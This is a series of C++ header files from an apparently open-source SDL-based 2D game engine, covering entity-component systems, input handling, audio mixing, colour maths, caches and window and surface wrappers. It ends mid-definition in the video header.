#ifndef WKT_ATLAS_H #define WKT_ATLAS_H #include "graphics/Flipbook.h" #include <string> namespace wkt { namespace gph { class Atlas : public Flipbook { public: using atlas_iterator = flipbook_iterator; public: Atlas() = default; Atlas(const std::string& name) : name(name) { } public: void setName(const std::string& name) { this->name = name; } const std::string& getName() const { return this->name; } private: std::string name; }; }} #endif
ilariom/wildcat
src/core/input/InputManager.h
#ifndef _WKT_INPUT_MANAGER #define _WKT_INPUT_MANAGER #include "KeyboardProxy.h" #include "MouseProxy.h" #include "ActionBroadcaster.h" namespace wkt { namespace events { class InputManager { public: InputManager(const InputManager&) = delete; InputManager(InputManager&&) = delete; ~InputManager() = default; InputManager& operator=(const InputManager&) = delete; InputManager& operator=(InputManager&&) = delete; static inline InputManager& getInstance(); public: void setKeyboardProxy(KeyboardProxy* proxy) { this->keyboardProxy = proxy; } KeyboardProxy* getKeyboardProxy() const { return this->keyboardProxy; } void setMouseProxy(MouseProxy* proxy) { this->mouseProxy = proxy; } MouseProxy* getMouseProxy() const { return this->mouseProxy; } ActionBroadcaster& getActionBroadcaster() { return this->ab; } private: InputManager() = default; KeyboardProxy* keyboardProxy = nullptr; MouseProxy* mouseProxy = nullptr; ActionBroadcaster ab; }; inline InputManager& InputManager::getInstance() { static InputManager im; return im; } }} #endif
ilariom/wildcat
src/core/systems/BoundingBoxUpdateSystem.h
#ifndef WKT_BOUNDING_BOX_UPDATE_SYSTEM_H #define WKT_BOUNDING_BOX_UPDATE_SYSTEM_H #include "ecs/System.h" #include "components/BoundingBox.h" namespace wkt { namespace systems { class BoundingBoxUpdateSystem : public wkt::ecs::SequentialSystem<wkt::components::BoundingBox> { public: BoundingBoxUpdateSystem(); public: void operator()(std::shared_ptr<wkt::components::BoundingBox>); }; }} #endif
ilariom/wildcat
src/core/globals/SceneGraph.h
<reponame>ilariom/wildcat<gh_stars>10-100 #ifndef _WKT_SCENE_GRAPH_H #define _WKT_SCENE_GRAPH_H #include "managers/ECSContext.h" #include "components/Node.h" #include "graphics/SurfaceCache.h" #include "graphics/Camera.h" #include "graphics/Director.h" #include "systems/RenderSystem.h" #include "systems/TransformUpdateSystem.h" #include "config.h" #include <memory> namespace wkt { namespace scene { class SceneGraph final : public wkt::managers::ECSContext { public: inline SceneGraph(); SceneGraph(const SceneGraph&) = delete; SceneGraph(SceneGraph&&) = default; ~SceneGraph() = default; SceneGraph& operator=(const SceneGraph&) = delete; SceneGraph& operator=(SceneGraph&&) = default; public: void setRoot(std::shared_ptr<wkt::components::Node> node) { this->node = node; } std::shared_ptr<wkt::components::Node> root() const { return this->node; } void setDirector(wkt::gph::Director* dir) { this->dir = dir; } wkt::gph::Director* director() const { return this->dir; } wkt::gph::Camera& camera() { return this->cam; } inline void runAllSystems(); inline void render(); void setActive(bool enable) { this->active = enable; } bool isActive() const { return this->active; } private: std::shared_ptr<wkt::components::Node> node; std::unique_ptr<wkt::systems::RenderSystem> renderSystem; wkt::gph::Camera cam; wkt::gph::Director* dir = nullptr; bool active = true; }; inline SceneGraph::SceneGraph() { // this->cam.setSize({640.f, 480.f}); // this->cam.setPosition({300.f, 0.f}); this->cam.setSize({ static_cast<float>(getStartupConfig().windowWidth), static_cast<float>(getStartupConfig().windowHeight) }); this->renderSystem = std::make_unique<wkt::systems::RenderSystem>(); auto& sm = systemsManager(); sm += std::make_unique<wkt::systems::TransformUpdateSystem>(); } inline void SceneGraph::runAllSystems() { if(!isActive()) return; runComponentSystems(); if(root()) { systemsManager().run(*root()); } } inline void SceneGraph::render() { if(!root() || !isActive()) return; this->dir->setCamera(&this->cam); this->renderSystem->setDirector(this->dir); this->renderSystem->bindRoot(*root()); this->renderSystem->run(); } }} #endif
ilariom/wildcat
src/core/audio/AudioStudio.h
<reponame>ilariom/wildcat #ifndef WKT_AUDIO_STUDIO_H #define WKT_AUDIO_STUDIO_H #include "audio_engine_types.h" #include "SoundEngineer.h" #include <unordered_map> #include <string> #include <cassert> namespace wkt { namespace audio { class AudioStudio final { public: constexpr static int mixer_channels = 32; public: static inline AudioStudio& getInstance(); AudioStudio(const AudioStudio&) = delete; AudioStudio(AudioStudio&&) = delete; AudioStudio& operator=(const AudioStudio&) = delete; AudioStudio& operator=(AudioStudio&&) = delete; public: inline void ask(const std::string& engineerName); inline void tell(const SoundEvent& event); inline void tell(const std::string& engineerName, const SoundEvent& event); void hire(const SoundEngineer& se) { this->engineers[se.getName()] = se; } void hire(SoundEngineer&& se) { this->engineers[se.getName()] = std::move(se); } private: AudioStudio() : mixer(mixer_channels) { } ~AudioStudio() = default; private: Mixer mixer; std::unordered_map<std::string, SoundEngineer> engineers; SoundEngineer* currentEngineer = nullptr; }; inline void AudioStudio::ask(const std::string& engineerName) { assert(this->engineers.find(engineerName) != this->engineers.end()); this->currentEngineer = &this->engineers[engineerName]; } inline void AudioStudio::tell(const SoundEvent& event) { if(!this->currentEngineer) return; this->currentEngineer->answer(this->mixer, event); } inline void AudioStudio::tell(const std::string& engineerName, const SoundEvent& event) { auto oldEng = this->currentEngineer; ask(engineerName); tell(event); this->currentEngineer = oldEng; } inline AudioStudio& AudioStudio::getInstance() { static AudioStudio as; return as; } }} #endif
ilariom/wildcat
src/core/ecs/System.h
<gh_stars>10-100 #ifndef _SKR_SYSTEM_H #define _SKR_SYSTEM_H #include "Entity.h" #include "Component.h" #include "components/Node.h" #include "managers/EntityManager.h" #include "utils/recursors.h" #include <unordered_map> #include <memory> namespace wkt { namespace ecs { class System : public wkt::utils::AbstractRecursor { public: virtual ~System() = default; public: virtual void init() { } virtual void shutdown() { } }; class HierarchicalSystem : public System, public wkt::utils::HierarchicalRecursor<wkt::components::Node, bool> { public: void run() override; }; class SequentialSystemBase : public System { }; template<typename C = Component> class SequentialSystem : public SequentialSystemBase, public wkt::utils::SequentialRecursor<std::shared_ptr<C>, wkt::managers::EntityManager::iterator, void> { public: void run() override { using rec = wkt::utils::SequentialRecursor<std::shared_ptr<C>, wkt::managers::EntityManager::iterator, void>; typename rec::handler& hnd = this->getHandler(); typename rec::iterator begin = this->begin(); typename rec::iterator end = this->end(); this->init(); for(auto it = begin; it != end; ++it) { auto& p = *it; Entity& en = p.second; ComponentsVector<C> vec = en.query<C>(); for(std::shared_ptr<Component> c : vec) hnd(std::static_pointer_cast<C>(c)); } this->shutdown(); } }; template<typename S, typename... Args> std::unique_ptr<System> make_seq_system(Args... args) { auto sys = std::make_unique<S>(std::forward(args)...); return std::unique_ptr<System>(static_cast<System*>(sys.release())); } }} #endif
ilariom/wildcat
src/core/audio/audio_engine_types.h
<filename>src/core/audio/audio_engine_types.h #ifndef WKT_AUDIO_ENGINE_TYPES_H #define WKT_AUDIO_ENGINE_TYPES_H #include "s2x/mixer.h" #include <string> #include <functional> namespace wkt { namespace audio { using Mixer = s2x::Mixer; class AudioStudio; class SoundEngineer; struct SoundEvent { std::string name; std::string msg; }; inline bool operator==(const SoundEvent& a, const SoundEvent& b) { return a.name == b.name; } struct SoundEventHasher { size_t operator()(const SoundEvent& se) const { return std::hash<std::string>()(se.name); } }; using SoundEventResponder = std::function<void(Mixer&, const SoundEvent&)>; }} #endif
ilariom/wildcat
src/core/components/KeyboardReceiver.h
<filename>src/core/components/KeyboardReceiver.h #ifndef _WKT_KEYBOARD_EVENT_H #define _WKT_KEYBOARD_EVENT_H #include "ecs/Component.h" #include "input/KeyboardProxy.h" #include <vector> namespace wkt { namespace components { class KeyboardReceiver : public wkt::ecs::Component { public: std::vector<wkt::events::KeyboardEventType>&& consume() { return std::move(this->keys); } void addKeys(const std::vector<wkt::events::KeyboardEventType>& outer) { this->keys.insert(this->keys.end(), outer.begin(), outer.end()); } private: std::vector<wkt::events::KeyboardEventType> keys; }; REGISTER_COMPONENT(KeyboardReceiver, -5); }} #endif
ilariom/wildcat
src/core/systems/TransformUpdateSystem.h
#ifndef _WKT_TRANSFORM_UPDATE_SYSTEM_H #define _WKT_TRANSFORM_UPDATE_SYSTEM_H #include "ecs/System.h" #include "components/Node.h" namespace wkt { namespace systems { class TransformUpdateSystem : public wkt::ecs::HierarchicalSystem { public: TransformUpdateSystem(); public: bool operator()(wkt::components::Node&); }; }} #endif
ilariom/wildcat
src/core/systems/MouseReceiverSystem.h
<reponame>ilariom/wildcat<gh_stars>10-100 #ifndef _WKT_MOUSE_RECEIVER_SYSTEM_H #define _WKT_MOUSE_RECEIVER_SYSTEM_H #include "ecs/System.h" #include "components/MouseReceiver.h" namespace wkt { namespace systems { class MouseReceiverSystem : public wkt::ecs::SequentialSystem<wkt::components::MouseReceiver> { public: MouseReceiverSystem(); public: void init() override; void operator()(std::shared_ptr<wkt::components::MouseReceiver>); void shutdown() override; private: std::vector<wkt::events::MouseButtonEvent> buttonEvents; std::vector<wkt::events::MouseMotionEvent> motionEvents; std::vector<wkt::events::MouseWheelEvent> wheelEvents; }; }} #endif
ilariom/wildcat
src/core/input/KeyboardProxy.h
#ifndef _WKT_KEYBOARD_LISTENER_H #define _WKT_KEYBOARD_LISTENER_H #include "s2x/events.h" #include <list> namespace wkt { namespace events { struct KeyboardEventType { Uint32 eventType; SDL_Keycode code; SDL_Scancode scancode; Uint16 modifier; Uint8 state; bool repeat; }; struct KeyboardEventTypeHasher { size_t operator()(const KeyboardEventType& kt) const { return std::hash<int>()(kt.eventType) ^ std::hash<int>()(kt.code); } }; class KeyboardProxy { public: void operator()(const SDL_Event& ev) { KeyboardEventType ket = { ev.type, ev.key.keysym.sym, ev.key.keysym.scancode, ev.key.keysym.mod, ev.key.state, ev.key.repeat != 0 }; this->events.push_back(ket); } bool operator>>(KeyboardEventType& ket) { if(this->events.empty()) return false; ket = std::move(this->events.front()); this->events.pop_front(); return true; } void close() { this->events.clear(); } private: std::list<KeyboardEventType> events; }; }} #endif
ilariom/wildcat
src/core/systems/ActionReceiverSystem.h
<filename>src/core/systems/ActionReceiverSystem.h<gh_stars>10-100 #ifndef _WKT_ACTION_RECEIVER_SYSTEM_H #define _WKT_ACTION_RECEIVER_SYSTEM_H #include "ecs/System.h" #include "components/ActionReceiver.h" #include <vector> namespace wkt { namespace systems { class ActionReceiverSystem : public wkt::ecs::SequentialSystem<wkt::components::ActionReceiver> { public: ActionReceiverSystem(); public: void init() override; void operator()(std::shared_ptr<wkt::components::ActionReceiver>); void shutdown() override; private: std::vector<wkt::components::Action> actions; }; }} #endif
ilariom/wildcat
src/core/ecs/Drawable.h
#ifndef _WKT_DRAWABLE_H #define _WKT_DRAWABLE_H #include "ecs/Component.h" #include "components/Transform.h" #include "graphics/Director.h" namespace wkt { namespace ecs { class Drawable : public Component { public: virtual void draw(const wkt::gph::Director&, const wkt::components::Transform&) = 0; void setVisible(bool enable) { this->visible = enable; } bool isVisible() const { return this->visible; } private: bool visible = true; }; }} #endif
ilariom/wildcat
src/core/math/numerical.h
#ifndef WKT_NUMERICAL_H #define WKT_NUMERICAL_H #include "math/wktmath.h" #include <math.h> namespace wkt { namespace math { inline float clamp(float val, float m, float M) { return std::max(m, std::min(val, M)); } inline float clampNorm(float val) { return clamp(val, .0f, 1.f); } constexpr inline float toDegree(float angleinRadians) { return 57.2958f * angleinRadians; } constexpr inline float toRadians(float angleInDegrees) { return 0.0174533f * angleInDegrees; } }} #endif
ilariom/wildcat
src/core/graphics/TextureCache.h
#ifndef _WKT_TEXTURE_CACHE_H #define _WKT_TEXTURE_CACHE_H #include "s2x/video.h" #include <string> #include <memory> #include <unordered_map> namespace wkt { namespace gph { class TextureCache final { public: TextureCache(const TextureCache&) = delete; TextureCache(TextureCache&&) = delete; ~TextureCache() = default; TextureCache& operator=(const TextureCache&) = delete; TextureCache& operator=(TextureCache&&) = delete; public: static inline TextureCache& getInstance(); inline std::shared_ptr<s2x::Texture> at(const std::string&); inline void insert(const std::string& filename, std::shared_ptr<s2x::Texture> tex); inline bool find(const std::string&); void setRenderer(s2x::Renderer* renderer) { this->ren = renderer; } s2x::Renderer* renderer() const { return this->ren; } private: TextureCache() = default; private: std::unordered_map<std::string, std::shared_ptr<s2x::Texture>> cache; s2x::Renderer* ren; }; inline TextureCache& TextureCache::getInstance() { static TextureCache tc; return tc; } inline std::shared_ptr<s2x::Texture> TextureCache::at(const std::string& filename) { if(this->cache.find(filename) == this->cache.end()) { return nullptr; } return this->cache[filename]; } inline void TextureCache::insert(const std::string& filename, std::shared_ptr<s2x::Texture> tex) { this->cache[filename] = tex; } inline bool TextureCache::find(const std::string& filename) { return this->cache.find(filename) != this->cache.end(); } }} #endif
ilariom/wildcat
src/core/scripts/Animator.h
<gh_stars>10-100 #ifndef WKT_ANIMATOR_H #define WKT_ANIMATOR_H #include "components/Script.h" #include "components/Transform.h" #include "components/Crowd.h" #include "graphics/Flipbook.h" #include "utils/interpolation.h" #include <string> #include <array> #include <vector> #include <utility> #include <functional> namespace wkt { namespace scripts { class AnimatorBase : public wkt::components::Script { public: void onMessage(const std::string& msg, const wkt::ecs::Entity& sender) override { } inline void start(); inline void stop(); bool isRunning() const { return isUpdateScheduled(); } inline void complete(); public: std::function<void()> startListener = nullptr; std::function<void()> stopListener = nullptr; std::function<void()> completeListener = nullptr; }; inline void AnimatorBase::start() { scheduleUpdate(); if (this->startListener) this->startListener(); } inline void AnimatorBase::stop() { unscheduleUpdate(); if (this->stopListener) this->stopListener(); } inline void AnimatorBase::complete() { if (this->completeListener) this->completeListener(); stop(); } class EventAnimatorBase : public AnimatorBase { protected: inline void sendEvent(const std::string& ev); public: std::function<void(const std::string&)> eventListener = nullptr; }; inline void EventAnimatorBase::sendEvent(const std::string& ev) { if (this->eventListener) this->eventListener(ev); } struct Keyframe { float duration; wkt::components::Coords sample; std::string event; Keyframe(float duration, const wkt::components::Coords& sample, const std::string& event = "") : duration(duration), sample(sample), event(event) { } Keyframe() = default; }; class CrowdAnimator; class Animator : public EventAnimatorBase { friend CrowdAnimator; public: Animator(wkt::components::Transform& transform, bool loop = false) : transform(transform), loop(loop) { } public: void init() override; void update(duration dt) override; std::vector<Keyframe>& getKeyframes() { return this->keyframes; } Keyframe& currentKeyframe() { return this->keyframes[this->k - 1]; } void rewind(); private: bool setupNext(); private: std::vector<Keyframe> keyframes; std::array<wkt::Interpolator, 7> interpolators; wkt::components::Transform& transform; std::string event; size_t k = 0; bool loop; }; class FlipbookAnimator : public AnimatorBase { public: FlipbookAnimator(wkt::components::Sprite& sprite) : sprite(sprite) { } FlipbookAnimator(wkt::components::Sprite& sprite, wkt::gph::FlipbookChannels&& fc) : sprite(sprite), fc(fc) { } public: void init() override { } void update(duration dt) override; void rewind(); wkt::gph::FlipbookChannels& getFlipbookChannels() { return this->fc; } private: wkt::gph::FlipbookChannels fc; wkt::components::Sprite& sprite; }; class CrowdAnimator : public EventAnimatorBase { public: CrowdAnimator(wkt::components::Crowd& crowd, bool loop); public: void init() override; void update(duration dt) override; void rewind(); std::vector<Keyframe>& getKeyframes(wkt::components::Crowd::SpectatorID id) { return this->animators[id].getKeyframes(); } private: std::vector<Animator> animators; wkt::components::Crowd& crowd; }; } namespace components { REGISTER_SCRIPT(wkt::scripts::Animator); REGISTER_SCRIPT(wkt::scripts::FlipbookAnimator); REGISTER_SCRIPT(wkt::scripts::CrowdAnimator); } } #endif
ilariom/wildcat
src/core/graphics/Color.h
#ifndef _WKT_COLOR_H #define _WKT_COLOR_H #include "s2x/video.h" #include "math/numerical.h" #include <ostream> namespace wkt { namespace gph { class Color { public: Color(float r, float g, float b, float a) : r(r), g(g), b(b), a(a) { } inline Color(const s2x::Color& sdlCol); Color() = default; operator s2x::Color() const { constexpr float factor = 255.f; s2x::Color c; c.r = (Uint8)(factor * this->r); c.g = (Uint8)(factor * this->g); c.b = (Uint8)(factor * this->b); c.a = (Uint8)(factor * this->a); return c; } public: inline Color& operator+=(const Color& other); inline Color& operator-=(const Color& other); inline Color& operator*=(float s); inline Color& operator/=(float s); public: float r = 0, g = 0, b = 0, a = 0; }; inline Color::Color(const s2x::Color& sdlCol) : r(sdlCol.r), g(sdlCol.g), b(sdlCol.b), a(sdlCol.a) { *this /= 256.f; } inline Color& Color::operator+=(const Color& other) { this->r = wkt::math::clampNorm(this->r + other.r); this->g = wkt::math::clampNorm(this->g + other.g); this->b = wkt::math::clampNorm(this->b + other.b); this->a = wkt::math::clampNorm(this->a + other.a); return *this; } inline Color& Color::operator-=(const Color& other) { this->r = wkt::math::clampNorm(this->r - other.r); this->g = wkt::math::clampNorm(this->g - other.g); this->b = wkt::math::clampNorm(this->b - other.b); this->a = wkt::math::clampNorm(this->a - other.a); return *this; } inline Color& Color::operator*=(float s) { this->r = wkt::math::clampNorm(this->r * s); this->g = wkt::math::clampNorm(this->g * s); this->b = wkt::math::clampNorm(this->b * s); this->a = wkt::math::clampNorm(this->a * s); return *this; } inline Color& Color::operator/=(float s) { this->r = wkt::math::clampNorm(this->r / s); this->g = wkt::math::clampNorm(this->g / s); this->b = wkt::math::clampNorm(this->b / s); this->a = wkt::math::clampNorm(this->a / s); return *this; } inline Color operator+(const Color& a, const Color& b) { return Color(a) += b; } inline Color operator-(const Color& a, const Color& b) { return Color(a) -= b; } inline Color operator*(const Color& a, float s) { return Color(a) *= s; } inline Color operator*(float s, const Color& a) { return a * s; } inline std::ostream& operator<<(std::ostream& os, const Color& c) { os << "(" << c.r << ", " << c.g << ", " << c.b << ", " << c.a << ")"; return os; } namespace colors { extern const Color RED; extern const Color GREEN; extern const Color BLUE; extern const Color WHITE; extern const Color BLACK; } }} #endif
ilariom/wildcat
src/core/components/ActionReceiver.h
<filename>src/core/components/ActionReceiver.h #ifndef WKT_ACTION_RECEIVER_H #define WKT_ACTION_RECEIVER_H #include "s2x/basics.h" #include "ecs/Component.h" #include <functional> #include <string> #include <vector> namespace wkt { namespace components { struct Action { using Payload = s2x::UserData; std::string name; Payload payload; }; class ActionReceiver : public wkt::ecs::Component { public: bool unique() const override { return false; } std::function<void(const Action&)> onAction = nullptr; std::vector<std::string> filters; inline bool canReceive(const std::string& actionName); }; inline bool ActionReceiver::canReceive(const std::string& actionName) { return this->filters.empty() || std::find(this->filters.begin(), this->filters.end(), actionName) != this->filters.end(); } REGISTER_COMPONENT(ActionReceiver, -10); }} #endif
ilariom/wildcat
src/core/graphics/SurfaceCache.h
#ifndef WKT_SURFACE_CACHE_H #define WKT_SURFACE_CACHE_H #include "s2x/video.h" #include "utils/CacheBase.h" #include <string> #include <memory> #include <unordered_map> namespace wkt { namespace gph { using SurfaceCache = wkt::utils::CacheBase<s2x::Surface>; // class SurfaceCache final // { // public: // SurfaceCache(const SurfaceCache&) = delete; // SurfaceCache(SurfaceCache&&) = delete; // ~SurfaceCache() = default; // SurfaceCache& operator=(const SurfaceCache&) = delete; // SurfaceCache& operator=(SurfaceCache&&) = delete; // public: // static inline SurfaceCache& getInstance(); // inline std::shared_ptr<s2x::Surface> operator[](const std::string&); // private: // SurfaceCache() = default; // private: // std::unordered_map<std::string, std::shared_ptr<s2x::Surface>> cache; // }; // inline SurfaceCache& SurfaceCache::getInstance() // { // static SurfaceCache sc; // return sc; // } // inline std::shared_ptr<s2x::Surface> SurfaceCache::operator[](const std::string& filename) // { // if(this->cache.find(filename) == this->cache.end()) // { // this->cache[filename] = std::make_shared<s2x::Surface>(filename); // } // return this->cache[filename]; // } }} #endif
ilariom/wildcat
src/core/MainActivity.h
<filename>src/core/MainActivity.h<gh_stars>10-100 #ifndef _WKT_MAIN_ACTIVITY_H #define _WKT_MAIN_ACTIVITY_H #include "config.h" namespace wkt { class MainActivity { public: MainActivity() = default; MainActivity(const MainActivity&) = delete; MainActivity(MainActivity&&) = delete; ~MainActivity() = default; MainActivity& operator=(const MainActivity&) = delete; MainActivity& operator=(MainActivity&) = delete; public: void onCreate(StartupConfig& conf); void onStart(); void onResume(); void onPause(); void onStop(); void onDestroy(); }; } #endif
ilariom/wildcat
src/core/utils/CacheBase.h
#ifndef WKT_CACHE_BASE_H #define WKT_CACHE_BASE_H #include <string> #include <memory> #include <unordered_map> namespace wkt { namespace utils { template<typename T> class CacheBase final { public: CacheBase(const CacheBase&) = delete; CacheBase(CacheBase&&) = delete; ~CacheBase() = default; CacheBase& operator=(const CacheBase&) = delete; CacheBase& operator=(CacheBase&&) = delete; public: static inline CacheBase& getInstance(); inline std::shared_ptr<T> operator[](const std::string&); private: CacheBase() = default; private: std::unordered_map<std::string, std::shared_ptr<T>> cache; }; template<typename T> inline CacheBase<T>& CacheBase<T>::getInstance() { static CacheBase<T> sc; return sc; } template<typename T> inline std::shared_ptr<T> CacheBase<T>::operator[](const std::string& filename) { if(this->cache.find(filename) == this->cache.end()) { this->cache[filename] = std::make_shared<T>(filename); } return this->cache[filename]; } }} #endif
ilariom/wildcat
src/core/s2x/s2x_types.h
#ifndef S2X_TYPES_H #define S2X_TYPES_H #include <SDL.h> #include <memory> namespace s2x { using Point = SDL_Point; using Rect = SDL_Rect; struct Size { int width, height; }; inline SDL_Rect toSDLRect(const Point& origin, const Size& size) { return { origin.x, origin.y, size.width, size.height }; } inline Point pointFromSDLRect(const SDL_Rect& r) { return { r.x, r.y }; } inline Size sizeFromSDLRect(const SDL_Rect &r) { return { r.w, r.h }; } using Color = SDL_Color; class UserData { private: struct AbstractBag { virtual ~AbstractBag() = default; virtual void* get() = 0; }; template<typename T> class Bag : public AbstractBag { public: explicit Bag(T val) : val(val) { } public: void* get() override { return reinterpret_cast<void*>(&this->val); } private: T val; }; public: operator void*() const { return this->data->get(); } public: template<typename T> T* get() { return reinterpret_cast<T*>(this->data->get()); } template<typename T> void set(const T& t) { this->data = std::make_shared<Bag<T>>(t); } private: std::shared_ptr<AbstractBag> data; }; } #endif
ilariom/wildcat
src/core/components/Crowd.h
<gh_stars>10-100 #ifndef WKT_CROWD_H #define WKT_CROWD_H #include "ecs/Drawable.h" #include "components/Sprite.h" #include "components/Transform.h" #include "graphics/Director.h" #include <string> #include <vector> namespace wkt { namespace components { using Spectator = std::pair<Sprite, Transform>; Spectator makeSpectator(const std::string& filename, const Transform&); Spectator makeSpectator(const Sprite&, const Transform&); Sprite& sprite(Spectator&); Transform& transform(Spectator&); const Sprite& sprite(const Spectator&); const Transform& transform(const Spectator&); class Crowd : public wkt::ecs::Drawable { public: using SpectatorID = size_t; static const SpectatorID NULL_ID; public: SpectatorID insert(const Spectator& s); SpectatorID emplace(const std::string& filename, const Transform& t); void erase(SpectatorID id); size_t size() const { return this->spectators.size(); } void draw(const wkt::gph::Director&, const Transform&) override; void setOpacity(uint8_t); void setColor(const wkt::gph::Color&); uint8_t getOpacity() const { return this->opacity; } const wkt::gph::Color& getColor() const { return this->color; } bool flat() const { return this->flatted; } void setFlat(bool enable) { this->flatted = enable; } void setRoot(SpectatorID id) { this->rootId = id; } SpectatorID root() const { return this->rootId; } Spectator& operator[](SpectatorID id) { return this->spectators[id]; } const Spectator& operator[](SpectatorID id) const { return this->spectators[id]; } private: std::vector<Spectator> spectators; uint8_t opacity = 255; wkt::gph::Color color = wkt::gph::colors::WHITE; SpectatorID rootId = NULL_ID; bool flatted = true; }; REGISTER_DRAWABLE(Crowd, -12); }} #endif
ilariom/wildcat
src/core/graphics/ShadedDrawable.h
<reponame>ilariom/wildcat #ifndef WKT_SHADED_DRAWABLE #define WKT_SHADED_DRAWABLE #include "ecs/Drawable.h" #include "graphics/Color.h" #include "graphics/Pixel.h" #include "graphics/SmartSurface.h" namespace wkt { namespace gph { class ShadedDrawable : public wkt::ecs::Drawable { public: using pixel_manipulator = std::function<wkt::gph::Color(const wkt::gph::PixelIterator&)>; public: void draw(const wkt::gph::Director&, const wkt::components::Transform&); virtual void shade(const pixel_manipulator&); virtual void resetShading(); protected: void setBuffersTo(wkt::gph::SmartSurface* ss1, wkt::gph::SmartSurface* ss2); private: wkt::gph::SmartSurface* inBuffer = nullptr; wkt::gph::SmartSurface* outBuffer = nullptr; }; }} #endif
ilariom/wildcat
src/core/s2x/video.h
<filename>src/core/s2x/video.h #ifndef _S2X_VIDEO_H #define _S2X_VIDEO_H #include "s2x_types.h" #include <SDL.h> #include <SDL_image.h> #include <string> #include <ostream> #include <algorithm> namespace s2x { class Window { public: Window(const std::string& title, int x, int y, int width, int height) : title_(title) { this->win = SDL_CreateWindow(title.c_str(), x, y, width, height, SDL_WINDOW_ALLOW_HIGHDPI); } ~Window() { SDL_DestroyWindow(this->win); } Window(const Window&) = delete; Window(Window&&) = delete; Window& operator=(const Window&) = delete; Window& operator=(Window&&) = delete; public: const std::string& title() const { return this->title_; } inline Point position() const; inline Size size() const; void setPosition(int x, int y) { SDL_SetWindowPosition(this->win, x, y); } void setSize(int width, int height) { SDL_SetWindowSize(this->win, width, height); } void setFullscreen(bool enable) { SDL_SetWindowFullscreen(this->win, enable ? SDL_WINDOW_FULLSCREEN : 0); } operator SDL_Window*() const { return this->win; } private: SDL_Window* win = nullptr; std::string title_; }; inline Point Window::position() const { int x, y; SDL_GetWindowPosition(this->win, &x, &y); return { x, y }; } inline Size Window::size() const { int w, h; SDL_GetWindowSize(this->win, &w, &h); return { w, h }; } class Pixel { public: explicit Pixel(SDL_PixelFormat* format) : format(format) {} Pixel(const Pixel&) = default; Pixel(Pixel&&) = default; Pixel& operator=(Pixel&&) = default; public: Pixel& operator=(Uint32* ptr) { this->ptr = ptr; return *this; } operator Uint32*() const { return this->ptr; } void set(Uint8 r, Uint8 g, Uint8 b, Uint8 a) { Uint32 pxl = SDL_MapRGBA(this->format, r, g, b, a); *this->ptr = pxl; } void set(const Color& c) { set(c.r, c.g, c.b, c.a); } Color asRGBA() const { Uint32 pxl = *this->ptr; Uint8 r, g, b, a; SDL_GetRGBA(pxl, this->format, &r, &g, &b, &a); return { r, g, b, a }; } Uint32& operator*() { return *ptr; } private: Uint32* ptr; SDL_PixelFormat* format; }; inline std::ostream& operator<<(std::ostream& os, const Pixel& p) { os << *static_cast<Uint32*>(p); return os; } class Surface { public: Surface(int width, int height) { this->surface = SDL_CreateRGBSurfaceWithFormat(0, width, height, 32, SDL_PIXELFORMAT_RGBA32); } Surface(SDL_Surface* srf) : surface(srf) { } inline Surface(const std::string& filename); inline Surface(const Surface&, const SDL_Rect&); ~Surface() { if(this->surface) SDL_FreeSurface(this->surface); } inline Surface(const Surface&); inline Surface(Surface&&); inline Surface& operator=(const Surface&); inline Surface& operator=(Surface&&); public: inline Uint32* operator()(int x, int y); inline const Uint32* operator()(int x, int y) const; Size size() const { return { this->surface->w, this->surface->h }; } void fill(const Color& c) { SDL_FillRect(*this, nullptr, SDL_MapRGBA(this->surface->format, c.r, c.g, c.b, c.a)); } void fill(const Color& c, const Rect& r) { SDL_FillRect(*this, &r, SDL_MapRGBA(this->surface->format, c.r, c.g, c.b, c.a)); } inline void blit(const Rect& r, const Surface& srf); inline void blit(const Rect& r, const Surface& srf, float scaleX, float scaleY); inline void setClip(int x, int y, int width, int height); inline SDL_Rect getClip() const; void resetClip() { SDL_SetClipRect(this->surface, nullptr); } SDL_PixelFormat* pixelFormat() const { return this->surface->format; } operator SDL_Surface*() const { return this->surface; } private: SDL_Surface* surface = nullptr; }; inline Surface::Surface(const std::string& filename) { std::string ufn = filename; std::transform(ufn.begin(), ufn.end(), ufn.begin(), ::tolower); const char* cstr = filename.c_str(); this->surface = ufn.substr(ufn.size() - 3) == "bmp" ? SDL_LoadBMP(cstr) : IMG_Load(cstr); } inline Surface::Surface(const Surface& srf, const SDL_Rect& rect) { this->surface = SDL_CreateRGBSurfaceWithFormat(0, rect.w, rect.h, 32, srf.pixelFormat()->format); SDL_BlitSurface(srf, &rect, this->surface, nullptr); } inline Surface::Surface(const Surface& srf) { this->surface = SDL_ConvertSurface(srf.surface, srf.pixelFormat(), 0); } inline Surface::Surface(Surface&& srf) { std::swap(this->surface, srf.surface); } inline Surface& Surface::operator=(const Surface& srf) { SDL_Surface* s = srf.surface; auto srfSize = srf.size(); auto selfSize = size(); SDL_Rect srfRect = {0, 0, srfSize.width, srfSize.height}; SDL_Rect selfRect = {0, 0, selfSize.width, selfSize.height}; SDL_BlitSurface(s, static_cast<const SDL_Rect*>(&srfRect), this->surface, &selfRect); return *this; } inline Surface& Surface::operator=(Surface&& srf) { std::swap(this->surface, srf.surface); if(srf.surface) SDL_FreeSurface(srf.surface); return *this; } inline Uint32* Surface::operator()(int x, int y) { Uint8* target = reinterpret_cast<Uint8*>(this->surface->pixels) + y * this->surface->pitch + x * sizeof(Uint32); return reinterpret_cast<Uint32*>(target); } inline const Uint32* Surface::operator()(int x, int y) const { return const_cast<Surface*>(this)->operator()(x, y); } inline void Surface::setClip(int x, int y, int width, int height) { SDL_Rect r = { x, y, width, height }; SDL_SetClipRect(this->surface, &r); } inline SDL_Rect Surface::getClip() const { SDL_Rect r; SDL_GetClipRect(this->surface, &r); return r; } inline void Surface::blit(const Rect& r, const Surface& srf) { SDL_BlitSurface(srf, nullptr, this->surface, const_cast<SDL_Rect*>(&r)); } inline void Surface::blit(const Rect& r, const Surface& srf, float scaleX, float scaleY) { SDL_Rect stretchRect = { (int)(r.w * scaleX), (int)(r.h * scaleY) }; SDL_BlitSurface(srf, nullptr, this->surface, &stretchRect); } class Renderer { public: Renderer(const Window& window, int flags) : window(window) { this->resource = SDL_CreateRenderer(window, -1, flags); SDL_RenderSetLogicalSize(this->resource, window.size().width, window.size().height); } Renderer(const Renderer&) = delete; Renderer(Renderer&& ren) : window(ren.window) { std::swap(this->resource, ren.resource); } ~Renderer() { if(this->resource) SDL_DestroyRenderer(this->resource); } Renderer& operator=(const Renderer&) = delete; inline Renderer& operator=(Renderer&&); public: inline Size size() const; void clear() { SDL_RenderClear(*this); } void present() { SDL_RenderPresent(*this); } void copy(SDL_Texture* tex) { SDL_RenderCopy(*this, tex, nullptr, nullptr); } void copy(SDL_Texture* tex, const SDL_Rect& 